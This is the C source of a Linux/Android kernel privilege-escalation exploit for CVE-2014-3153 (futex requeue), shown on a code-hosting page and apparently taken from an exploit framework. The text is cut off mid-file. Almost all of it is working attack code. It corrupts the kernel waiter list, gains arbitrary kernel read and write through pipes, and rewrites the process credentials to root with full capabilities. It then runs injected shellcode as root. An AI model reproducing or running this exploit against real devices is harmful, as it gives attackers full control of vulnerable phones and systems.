Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2014-3153/futex_requeue.c
Views: 11779
#include <unistd.h>1#include <linux/futex.h>2#include <pthread.h>3#include <unistd.h>4#include <sys/syscall.h>5#include <sys/resource.h>6#include <stdio.h>7#include <stdlib.h>8#include <errno.h>9#include <sys/stat.h>10#include <sys/system_properties.h>11#include <sys/mount.h>12#include <sys/types.h>13#include <sys/wait.h>14#include <sys/socket.h>15#include <sys/uio.h>16#include <limits.h>17#include <fcntl.h>18#include <getopt.h>19#include <stdint.h>20#include <pwd.h>21#include <arpa/inet.h>22#include <sys/mman.h>23#include "log.h"2425struct mmsghdr {26struct msghdr msg_hdr;27unsigned int msg_len;28};2930#ifndef FUTEX_WAIT_REQUEUE_PI31#define FUTEX_WAIT_REQUEUE_PI 1132#endif3334#ifndef FUTEX_CMP_REQUEUE_PI35#define FUTEX_CMP_REQUEUE_PI 1236#endif3738#define ERROR 039#define ROOT_SUCCESS 140#define FIX_SUCCESS 241#define ALL_DONE 34243#define KERNEL_START 0xc00000004445unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };46unsigned char config_buf[2048] = { "c0nfig" };4748int config_new_samsung = 0;49int config_iovstack = 2;50int config_offset = 0;51int config_force_remove = 0;5253int run_shellcode_as_root() {5455int uid = getuid();56if (uid != 0) {57LOGV("Not uid=%d, returning\n", uid);58return 0;59}6061if (shellcode_buf[0] == 0x90) {62LOGV("No shellcode, uid=%d\n", uid);63return 0;64}65LOGV("running shellcode, uid=%d\n", uid);6667int pid = fork();68LOGV("onload, pid=%d\n", pid);69if (pid == 0) {70LOGV("shellcode, pid=%d, tid=%d\n", getpid(), gettid());71void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);72if (ptr == MAP_FAILED) {73return 0;74}75memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));76void (*shellcode)() = (void(*)())ptr;77shellcode();78}79LOGV("finished, pid=%d\n", pid);80return pid;81}8283#define DEV_PTMX "/dev/ptmx"84int PORT = 58295;8586unsigned long addr, hacked_node, hacked_node_alt;87int HACKS_fdm = 0;88pid_t waiter_thread_tid;89pthread_mutex_t done_lock;90pthread_mutex_t done_kill_lock;91pthread_mutex_t thread_returned_lock;92pthread_cond_t done;93pthread_cond_t done_kill;94pthread_cond_t thread_returned;95pthread_mutex_t is_thread_desched_lock;96pthread_cond_t is_thread_desched;97pthread_mutex_t is_thread_awake_lock;98pthread_cond_t is_thread_awake;99int lock1 = 0;100int lock2 = 0;101pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;102pthread_mutex_t *is_kernel_writing;103int pipe_fd[2];104int sockfd;105pid_t tid_12 = 0;106pid_t tid_11 = 0;107unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;108unsigned long t11;109unsigned long lock;110char shell_server[256];111int loop_limit = 10;112pid_t remove_pid[1024];113unsigned long remove_waiter[1024];114int remove_counter = 0;115116const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};117const char str_1[] = {1, 0, 0, 0, 0};118119void reset_hacked_list(unsigned long hacked_node);120121/*********************/122/*** PIPE STUFF ******/123/*********************/124125// Pipe server126static int start_pipe_server() {127int nbytes,msg;128int done_root = 0;129130/* Parent process closes up output side of pipe */131close(pipe_fd[1]);132LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());133134while(1) {135/* Read in a message from the exploiting process */136nbytes = read(pipe_fd[0], &msg, sizeof(msg));137if(nbytes <= 0) return 0;138if(msg == ROOT_SUCCESS) {139LOGD("[CONTROLLER] Exploit succeded\n");140done_root = 1;141}142if(msg == FIX_SUCCESS) {143LOGD("[CONTROLLER] Fix succeded\n");144}145if(msg == ALL_DONE) {146LOGD("[CONTROLLER] Exploit completed\n");147if(done_root)148return 1;149}150if(msg == ERROR) {151if(done_root) {152LOGD("[CONTROLLER] Error but exploit succeded\n");153return 1;154}155else {156LOGD("[CONTROLLER] Error received\n");157return 0;158}159}160}161}162163// Send a message to the controller164static void send_pipe_msg(int msg) {165int msg_to_send;166167msg_to_send = msg;168write(pipe_fd[1], &msg, sizeof(msg));169}170171// Read kernel space using pipe172ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {173int pipefd[2];174ssize_t len;175176pipe(pipefd);177178len = write(pipefd[1], writebuf, count);179180if (len != count) {181LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);182return -1;183}184185read(pipefd[0], readbuf, count);186LOGD("[PIPE] Read %d bytes\n", count);187188close(pipefd[0]);189close(pipefd[1]);190191return len;192}193194// Write in kernel space using pipe195ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {196int pipefd[2];197ssize_t len;198int ret = 0;199200pipe(pipefd);201ret = write(pipefd[1], writebuf, count);202len = read(pipefd[0], readbuf, count);203if (len != count) {204LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);205return -1;206}207else208LOGD("[PIPE] Written %d bytes\n", (int)len);209210close(pipefd[0]);211close(pipefd[1]);212213return len;214}215216217218/*********************/219/**** SOCKET STUFF ***/220/*********************/221222void *accept_socket(void *arg) {223int yes;224struct sockaddr_in addr = {0};225int ret;226int sock_buf_size;227socklen_t optlen;228229sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);230if(sockfd < 0) {231LOGD("[ACCEPT SOCKET] Socket creation failed\n");232send_pipe_msg(ERROR);233return NULL;234}235236yes = 1;237setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));238239// We need set the socket kernel buffer as smaller as possible.240// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall241242sock_buf_size = 1;243setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));244245addr.sin_family = AF_INET;246addr.sin_port = htons(PORT);247addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);248249if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {250LOGD("[ACCEPT SOCKET] Socket bind failed\n");251send_pipe_msg(ERROR);252return NULL;253}254255if(listen(sockfd, 1) < 0) {256LOGD("[ACCEPT SOCKET] Socket listen failed\n");257send_pipe_msg(ERROR);258return NULL;259}260261while(1) {262ret = accept(sockfd, NULL, NULL);263if (ret < 0) {264LOGD("[ACCEPT SOCKET] Socket accept failed\n");265send_pipe_msg(ERROR);266return NULL;267} else {268LOGD("[ACCEPT SOCKET] Client accepted!\n");269}270}271272return NULL;273}274275276int make_socket() {277int sockfd;278struct sockaddr_in addr = {0};279int ret;280int sock_buf_size;281socklen_t optlen;282283sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);284if (sockfd < 0) {285LOGD("[MAKE SOCKET] socket failed.\n");286send_pipe_msg(ERROR);287return 0;288} else {289addr.sin_family = AF_INET;290addr.sin_port = htons(PORT);291addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);292}293294while (1) {295ret = connect(sockfd, (struct sockaddr *)&addr, 16);296if (ret >= 0) {297break;298}299usleep(10);300}301302// We need set the socket kernel buffer as smaller as possible303// When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall304305sock_buf_size = 1;306setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));307308return sockfd;309}310311312/*************************/313/**** KERNEL STUFF *******/314/*************************/315void stop_for_error() {316LOGD("[ERROR] Sleeping for error");317send_pipe_msg(ERROR);318while(1)319sleep(10);320}321322// Remove a pending waiter323void remove_remaining_waiter(int index) {324unsigned long addr;325unsigned long val[4];326327328LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);329330addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);331332reset_hacked_list(0xbeffe0);333334// Create a correct next and previous waiter335336*((unsigned long *)0xbf0004) = remove_waiter[index]; // (entry->next)->prev337*((unsigned long *)0xbeffe0) = remove_waiter[index]; // (entry->prev)->next338*((unsigned long *)0xbf000c) = (remove_waiter[index]+8); // (entry->node_next)->node_prev339*((unsigned long *)0xbeffe8) = (remove_waiter[index]+8); // (entry->node_prev)->node_next340341val[0] = 0xbf0000;342val[1] = 0xbeffe0;343val[2] = 0xbf0008;344val[3] = 0xbeffe8;345write_pipe((void *)(remove_waiter[index]), &val, 16);346347// Now we can kill the waiter safely348349pthread_mutex_lock(&is_thread_awake_lock);350kill(remove_pid[index], 14);351pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);352pthread_mutex_unlock(&is_thread_awake_lock);353354munmap((unsigned long *)0xbef000, 0x2000);355356}357358// Fix the kernel waiter list359int fix_kernel_waiter_list(unsigned int head) {360361unsigned int val, val2, val3, list, prio6, prio3;362int i, err = 0, ret = 0;363unsigned long w[4];364unsigned int as[12];365366LOGD("[FIXER] prio 6 at %x\n", head);367368list = head + 4;369370// Save the prio6 waiter371read_pipe((void *) list, &prio6, 4);372373// Save the prio3 waiter374read_pipe((void *) (list+4), &prio3, 4);375376// Fix prio3377ret = write_pipe((void *) (prio3+4), &t11, 4); // prio_list->prev378if(ret == -1)379err = 1;380381#ifdef DEBUG382//////////////// Just debug //////////////////////////////383read_pipe((void *) (list-4), &as, 48);384LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n",385as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);386//////////////////////////////////////////////387#endif388389390// Find the first waiter before the hacked waiter. We need to fix it391for(i = 0; i < 2; i++) {392read_pipe((void *) list, &val, 4);393list = val;394if(i == 0) {395// At the beginning we need to save the lock pointer396read_pipe((void *) (list + 40), &lock, 4);397398#ifdef DEBUG399//////////////// Just debug //////////////////////////////400read_pipe((void *) (list-4), &as, 48);401LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n",402as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);403//////////////////////////////////////////////404#endif405406}407}408409410// Adjust the lock->next pointer411LOGD("[FIXER] Looking for the lock next offset address\n");412if(lock) {413for(i = 0; i < 5; i++) {414read_pipe((void *) (lock + (i * 4)), &val3, 4);415if(val3 == (prio3 + 8)) {416LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));417lock = lock + (i * 4);418}419}420}421422// Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter423val2 = t11 + 8;424ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev425if(ret == -1)426err = 1;427428// Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter429val2 = t11+8;430ret = write_pipe((void *) (list), &t11, 4); // prio_list->next431if(ret == -1)432err = 1;433434ret = write_pipe((void *) (list + 8), &val2, 4); // node_list->next435if(ret == -1)436err = 1;437438439// Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter440w[0] = prio3; // prio_list->next441w[1] = list; // prio_list->prev442w[2] = lock; // node_list->next443w[3] = list + 8; // node_list->prev444445ret = write_pipe((void *) t11, &w, 16);446if(ret == -1)447err = 1;448449LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);450LOGD("[FIXER] All done!\n");451452#ifdef DEBUG453///////////////////////////// DEBUG ////////////////////////////7454read_pipe((void *) (prio3-4), &as, 48);455LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4),456as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);457458read_pipe((void *) (head), &as, 48);459LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head),460as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);461462read_pipe((void *) (prio6-4), &as, 48);463LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4),464as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);465466read_pipe((void *) (list - 4), &as, 48);467LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4),468as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);469470read_pipe((void *) (t11-4), &as, 48);471LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4),472as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);473474read_pipe((void *) (lock), &as, 16);475LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);476//////////////////////////////////////////////477#endif478479sleep(1);480481return err;482483}484485486487// Hack in the kernel488void hack_the_kernel(int signum) {489char *slavename;490int pipefd[2];491char readbuf[0x100];492unsigned long thread_info_dump[4];493unsigned long task_struct_dump[0x200];494unsigned long cred_struct_dump[0x40];495unsigned long cred_struct_dump_orig[0x40];496unsigned long group_info_struct_dump[6];497unsigned long group_info_struct_dump_orig[6];498pid_t pid;499int i, ret;500unsigned long val1, val2;501int err = 0;502503leaker_pid = gettid();504505pthread_mutex_lock(&is_thread_awake_lock);506pthread_cond_signal(&is_thread_awake);507pthread_mutex_unlock(&is_thread_awake_lock);508509// Check if we are the first or the second evil thread510if (final_kstack_base == 0) {511LOGD("[FIRST KERNEL HACK] First evil thread started\n");512513pthread_mutex_lock(is_kernel_writing);514// We need to use a pipe... Open a pts device to use it515516HACKS_fdm = open(DEV_PTMX, O_RDWR);517unlockpt(HACKS_fdm);518slavename = ptsname(HACKS_fdm);519520open(slavename, O_RDWR);521LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");522523if(config_new_samsung) {524pipe(pipefd);525syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);526527}528else {529read(HACKS_fdm, readbuf, 0x100);530}531532// Here the TRIGGER told us to continue the dirty job533// Update the thread_info struct of the second evil thread using the pipe.534535write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);536537LOGD("[FIRST KERNEL HACK] All Done!\n");538539// Tell the second thread that now can continue540pthread_mutex_unlock(is_kernel_writing);541542// Add a waiter at the beginning of the list so we can leak it543LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");544setpriority(PRIO_PROCESS, 0, 4);545LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());546547syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);548549// If we are here the stack modifier has been killed550551LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());552553// Tell to the second evil thread that it can fix the waiter list now554pthread_mutex_lock(&done_kill_lock);555pthread_cond_signal(&done_kill);556pthread_mutex_unlock(&done_kill_lock);557558sleep(5);559return;560561}562563//////////////////////////////////////////564// From here we are the second evil thread565LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");566pthread_mutex_lock(is_kernel_writing);567568sleep(2);569570LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");571read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...572read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump573574LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);575576val1 = 0;577val2 = 0;578pid = 0;579580LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");581// Parse the task_struct dump in order to find the cred struct pointer582// If we have four succesive kernel pointer -> we have the cred struct583for (i = 0; i < 0x200; i++) {584if (task_struct_dump[i] == task_struct_dump[i + 1]) {585if (task_struct_dump[i] > 0xc0000000) {586if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {587if (task_struct_dump[i + 2] > 0xc0000000) {588if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {589if (task_struct_dump[i + 4] > 0xc0000000) {590if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {591if (task_struct_dump[i + 6] > 0xc0000000) {592val1 = task_struct_dump[i + 7]; // Found offset for the cred struct593LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));594break;595}596}597}598}599}600}601}602}603}604605if(!val1) {606LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");607stop_for_error();608}609610LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");611// Update the cred struct612read_pipe((void *)val1, cred_struct_dump, 0x100);613memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct614615val2 = cred_struct_dump[0x16]; // group_info struct616if (val2 > 0xc0000000) {617if (val2 < 0xffff0000) {618read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump619memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);620if (group_info_struct_dump[0] != 0) {621if (group_info_struct_dump[1] != 0) {622if (group_info_struct_dump[2] == 0) {623if (group_info_struct_dump[3] == 0) {624if (group_info_struct_dump[4] == 0) {625if (group_info_struct_dump[5] == 0) {626group_info_struct_dump[0] = 1; // atomic_t usage627group_info_struct_dump[1] = 1; // int ngroups628629// Update the group_info struct in the kernel630LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");631write_pipe((void *)val2, group_info_struct_dump, 0x18);632}633}634}635}636}637}638}639}640641// Update the cred struct642cred_struct_dump[1] = 0; // uid643cred_struct_dump[2] = 0; // gid644cred_struct_dump[3] = 0; // suid645cred_struct_dump[4] = 0; // sgid646cred_struct_dump[5] = 0; // euid647cred_struct_dump[6] = 0; // egid648cred_struct_dump[7] = 0; // fsuid649cred_struct_dump[8] = 0; // fsgid650651cred_struct_dump[10] = 0xffffffff; // cap_inheritable652cred_struct_dump[11] = 0xffffffff; // cap_permitted653cred_struct_dump[12] = 0xffffffff; // cap_effective654cred_struct_dump[13] = 0xffffffff; // cap_bset655cred_struct_dump[14] = 0xffffffff; // jit_keyring656cred_struct_dump[15] = 0xffffffff; // *session_keyring657cred_struct_dump[16] = 0xffffffff; // *process_keyring658cred_struct_dump[17] = 0xffffffff; // *thread_keyring;659660661LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");662663// Update the cred struct in the kernel664write_pipe((void *)val1, cred_struct_dump, 0x48);665666sleep(2);667668pid = syscall(__NR_gettid);669670// Update the pid671LOGD("[SECOND KERNEL HACK] Looking for PID..\n");672i = 0;673while (1) {674if (task_struct_dump[i] == pid) {675LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");676677write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);678679if (getuid() != 0) {680LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");681send_pipe_msg(ERROR);682} else {683LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");684685//////////// ROOT CODE HERE /////////////////686687// Fork and install the root shell688if(fork() == 0) {689LOGD("running as pid %d, tid %d, with uid %d", getpid(), gettid(), getuid());690run_shellcode_as_root();691exit(0);692}693694//////////////////////////////////////////////695sleep(3);696close(sockfd);697send_pipe_msg(ROOT_SUCCESS);698break;699}700}701i++;702}703704// Fix cred_struct and group_info_struct with originals705//sleep(3); // be sure nothing is happening before to fix706LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");707write_pipe((void *)val1, cred_struct_dump_orig, 0x48);708sleep(2);709LOGD("[SECOND KERNEL HACK] Fixing group info\n");710write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);711sleep(2);712713// To fix the waiter list we need to know where is the beginning of the list (we hacked it).714// To do that we use the leaker thread that has a waiter with prio 3715716LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);717LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");718read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...719read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump720721LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);722723int k = 0;724val1 = 0;725val2 = 0;726pid = 0;727728// Find the waiter in the task struct. We know is a bit after the cred_struct729730LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");731// Parse the task_struct dump in order to find the cred struct pointer732// If we have four succesive kernel pointer -> we have the cred struct733734for (i = 0; i < 0x200; i++) {735if (task_struct_dump[i] == task_struct_dump[i + 1]) {736if (task_struct_dump[i] > 0xc0000000) {737if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {738if (task_struct_dump[i + 2] > 0xc0000000) {739if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {740if (task_struct_dump[i + 4] > 0xc0000000) {741if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {742if (task_struct_dump[i + 6] > 0xc0000000) {743LOGD("[SECOND KERNEL HACK] We are at cred\n");744745// We need to find the waiter in the task_struct746747for(k = 0; k<100; k++) {748if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {749read_pipe((void *) task_struct_dump[k + i], &val1, 4);750// Check a pointer pointing to 0x7b (123 = prio 3)751//if(val1 == 0x7b) {752if(val1 == 0x7c) {753target_waiter = (unsigned int) task_struct_dump[k + i];754LOGD("Found target_waiter %d %x\n", k + i, (unsigned int) target_waiter);755sleep(2);756break;757}758}759}760break;761}762}763}764}765}766}767}768}769}770771if(!target_waiter)772stop_for_error();773774// Get the next node, so the prio 6 node775LOGD("[SECOND KERNEL HACK] Waiting the thread\n");776777pthread_mutex_lock(&done_kill_lock);778779// Ok now we need to remove780int h;781for(h = 0; h < remove_counter; h++)782remove_remaining_waiter(h);783784if(fix_kernel_waiter_list(target_waiter) == 0)785send_pipe_msg(FIX_SUCCESS);786else787stop_for_error();788789790LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");791792// Kill the stack modifier793kill(stack_modifier_tid,14);794795// Wait for the prio 4 node going out796pthread_cond_wait(&done_kill, &done_kill_lock);797798LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");799800// We fixed everything, so we can leave now801pthread_exit(NULL);802803}804805806/***************************/807/**** THREAD FOR WAITERS ***/808/***************************/809810void thread_killer(int signum) {811812LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());813814pthread_mutex_lock(&is_thread_awake_lock);815pthread_cond_signal(&is_thread_awake);816pthread_mutex_unlock(&is_thread_awake_lock);817818pthread_exit(NULL);819820}821822823// Add a new waiter in the list with a specific prio.824void *make_action_adding_waiter(void *arg) {825int prio;826struct sigaction act;827struct sigaction act3;828int ret;829830prio = (int)arg;831last_tid = syscall(__NR_gettid);832833pthread_mutex_lock(&is_thread_desched_lock);834pthread_cond_signal(&is_thread_desched);835836// Handler to hack in the kernel.837act.sa_handler = hack_the_kernel;838sigemptyset(&act.sa_mask);839act.sa_flags = 0;840act.sa_restorer = NULL;841sigaction(12, &act, NULL);842843// Handler to kill useless threads.844act3.sa_handler = thread_killer;845sigemptyset(&act3.sa_mask);846act3.sa_flags = 0;847act3.sa_restorer = NULL;848sigaction(14, &act3, NULL);849850setpriority(PRIO_PROCESS, 0, prio);851852pthread_mutex_unlock(&is_thread_desched_lock);853854LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());855ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);856LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());857858// The firs node that will exit. Kill some other thread859if(prio == 11) {860LOGD("[MAKE ACTION] Killing prio 11\n");861862pthread_mutex_lock(&is_thread_awake_lock);863kill(tid_11, 14);864pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);865pthread_mutex_unlock(&is_thread_awake_lock);866867LOGD("[MAKE ACTION] Killing prio 7\n");868869pthread_mutex_lock(&is_thread_awake_lock);870kill(pid7, 14);871pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);872pthread_mutex_unlock(&is_thread_awake_lock);873874LOGD("[MAKE ACTION] All done!\n");875sleep(1);876877pthread_exit(NULL);878879}880881// Last node will exit882if(prio == 6) {883LOGD("[MAKE ACTION] Prio 6 node is exiting\n");884885// Notify the main that we finished886pthread_mutex_lock(&done_lock);887pthread_cond_signal(&done);888pthread_mutex_unlock(&done_lock);889890pthread_exit(NULL);891}892893// Never reached894return NULL;895}896897898899// Create a new thread to add a new waiter with a prio900pid_t wake_actionthread(int prio) {901pthread_t th4;902pid_t pid;903904LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");905906// Create the thread that will add a new lock.907908pthread_mutex_lock(&is_thread_desched_lock);909pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);910pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);911912LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");913914pid = last_tid;915916// Needed to be sure that the new thread is waiting to acquire the lock917sleep(1);918919pthread_mutex_unlock(&is_thread_desched_lock);920921// Return the new thread created922return pid;923}924925926927// This is the first evil thread.928// When the vuln is triggered will use a syscall to modify the kernel stack.929void *stack_modifier(void *name)930{931932pthread_t l8;933int sockfd, ret;934struct mmsghdr msgvec[1];935struct iovec msg_iov[8];936unsigned long databuf[0x20];937int i;938char line[20];939struct sigaction act3;940941stack_modifier_tid = gettid();942943LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());944945setpriority(PRIO_PROCESS , 0, 12);946947// Register an handle for a signal. We will use it to kill this thread later.948act3.sa_handler = thread_killer;949sigemptyset(&act3.sa_mask);950act3.sa_flags = 0;951act3.sa_restorer = NULL;952sigaction(14, &act3, NULL);953954955for (i = 0; i < 0x20; i++) {956databuf[i] = hacked_node;957}958959for (i = 0; i <= 8; i++) {960msg_iov[i].iov_base = (void *)hacked_node;961msg_iov[i].iov_len = 0x80;962}963964//msg_iov[IOVSTACK_TARGET] will be our new waiter.965// iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.966967msg_iov[config_iovstack].iov_base = (void *)hacked_node;968msg_iov[config_iovstack].iov_len = hacked_node_alt;969970// The new waiter will be something like that:971// prio = hacket_node972// prio_list->next = hacked_node_alt973// prio_list->prev = hacket_node974// node_list->next = 0x7d975// node_list->prev = hacked_node976977// hacked_node will be somethin < 0 so a negative priority978979msgvec[0].msg_hdr.msg_name = databuf;980msgvec[0].msg_hdr.msg_namelen = 0x80;981msgvec[0].msg_hdr.msg_iov = msg_iov;982msgvec[0].msg_hdr.msg_iovlen = 8;983msgvec[0].msg_hdr.msg_control = databuf;984msgvec[0].msg_hdr.msg_controllen = 0x20;985msgvec[0].msg_hdr.msg_flags = 0;986msgvec[0].msg_len = 0;987988sockfd = make_socket();989if (sockfd == 0) {990return NULL;991}992993LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");994995// Lets wait on lock1 to be requeued996syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);997998// Ok, at this point the vulnerability shoud be triggered.999// We can modify the waiters list in the kernel.10001001LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");1002LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");10031004// Use now a syscall deep to modify the waiter list.1005// sendmmsg -> sendmesg -> verify_iovec1006// verify_iovec will fille the iovstack structure of sendmesg and we know that1007// iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate10081009while (1) {1010ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);1011if (ret <= 0) {1012LOGD("[STACK MODIFIER] Sendmmsg Error\n");1013send_pipe_msg(ERROR);1014}1015LOGD("[STACK MODIFIER] Done\n");1016break;1017}1018LOGD("[STACK MODIFIER] Leaving\n");10191020return NULL;1021}102210231024void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {10251026*((unsigned long *)(hacked_node_alt - 4)) = 0x81; // prio (120 + 9)1027*((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20; // prio_list->next1028*((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next10291030*((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85; // prio (120 + 13)1031*((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt; // prio_list->prev1032*((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev10331034// Alternative list10351036*((unsigned long *)(hacked_node - 4)) = 0x81;1037*((unsigned long *) hacked_node) = hacked_node + 0x20;1038*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;10391040*((unsigned long *)(hacked_node + 0x1c)) = 0x85;1041*((unsigned long *)(hacked_node + 0x24)) = hacked_node;1042*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;10431044}10451046void reset_hacked_list(unsigned long hacked_node) {10471048*((unsigned long *)(hacked_node - 4)) = 0x81;1049*((unsigned long *) hacked_node) = hacked_node + 0x20;1050*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;10511052*((unsigned long *)(hacked_node + 0x1c)) = 0x85;1053*((unsigned long *)(hacked_node + 0x24)) = hacked_node;1054*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;10551056}105710581059void 